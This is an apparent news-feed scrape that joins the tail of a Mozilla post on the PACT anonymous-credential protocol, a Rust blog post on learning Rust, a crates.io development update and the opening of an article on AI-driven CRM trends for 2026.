Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

A diagram showing the protocol flow between Anchors and Moderators

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

A diagram showing the PACT Moderator Flow

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele OrrĂč, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

]]> <![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]> https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ Sat, 25 Jul 2026 08:37:24 +0200 đŸ’Ÿ Tools tsecurity.de This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

]]> <![CDATA[The Rust Programming Language Blog: crates.io: development update]]> https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ Sat, 25 Jul 2026 08:37:18 +0200 đŸ’Ÿ Tools tsecurity.de Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

Source code viewer showing the "Code" tab of the serde crate

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Unmaintained warning banner on the ansi_term crate page

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

"You might not need this dependency" banner on the lazy_static crate page

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Ferris' eyes following the mouse cursor on the error page

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

  • Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

  • Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

  • New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

  • Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

  • CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

  • Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

  • Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

  • Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

]]> <![CDATA[Understanding different types of OLED TVs and displays]]> https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/ https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/ Sat, 25 Jul 2026 08:36:42 +0200 đŸŽ„ Videos tsecurity.de Author: Techquickie - Bewertung: 5027x - Views:93409

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Special thanks to Ron Mertens, CEO of Metalgrass and founder of OLED-info, for joining us and sharing over 20 years of expertise in the display industry.

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]]> <![CDATA[Which DJI drone should I buy? Your simple guide to the different ranges and our top-rated flyers]]> https://tsecurity.de/de/3693141/it-nachrichten/which-dji-drone-should-i-buy-your-simple-guide-to-the-different-ranges-and-our-top-rated-flyers/ https://tsecurity.de/de/3693141/it-nachrichten/which-dji-drone-should-i-buy-your-simple-guide-to-the-different-ranges-and-our-top-rated-flyers/ Sat, 25 Jul 2026 07:12:33 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]> https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ Sat, 25 Jul 2026 06:53:15 +0200 📰 IT Nachrichten tsecurity.de

Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.

“Last year, everybody was dipping their toes into the water,” says Keith Kirkpatrick, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”

Harry Datwani, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”

“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.

“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst Kate Leggett, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.

Here are the hot AI-driven trends in CRM this year.

CRM becomes an action hero

CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.

“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst Neil Ward-Dutton. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”

Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.

She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.

Agentic drives workforce changes

AI use in CRM systems is also impacting workforce strategies.

“We used to hire for deep expertise,” says Constellation Research analyst Liz Miller. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”

Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.

For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.

Terence Chesire, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”

“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.

Data layer takes center stage

AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.

“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”

The good news, says Datwani, is that AI agents themselves can help clean up and organize data. And vendors such as Snowflake and Databricks, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.

Forrester’s Leggett adds that CRM platforms are converging with customer data platforms (CDPs), real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.

Agentic ushers in pricing complexity

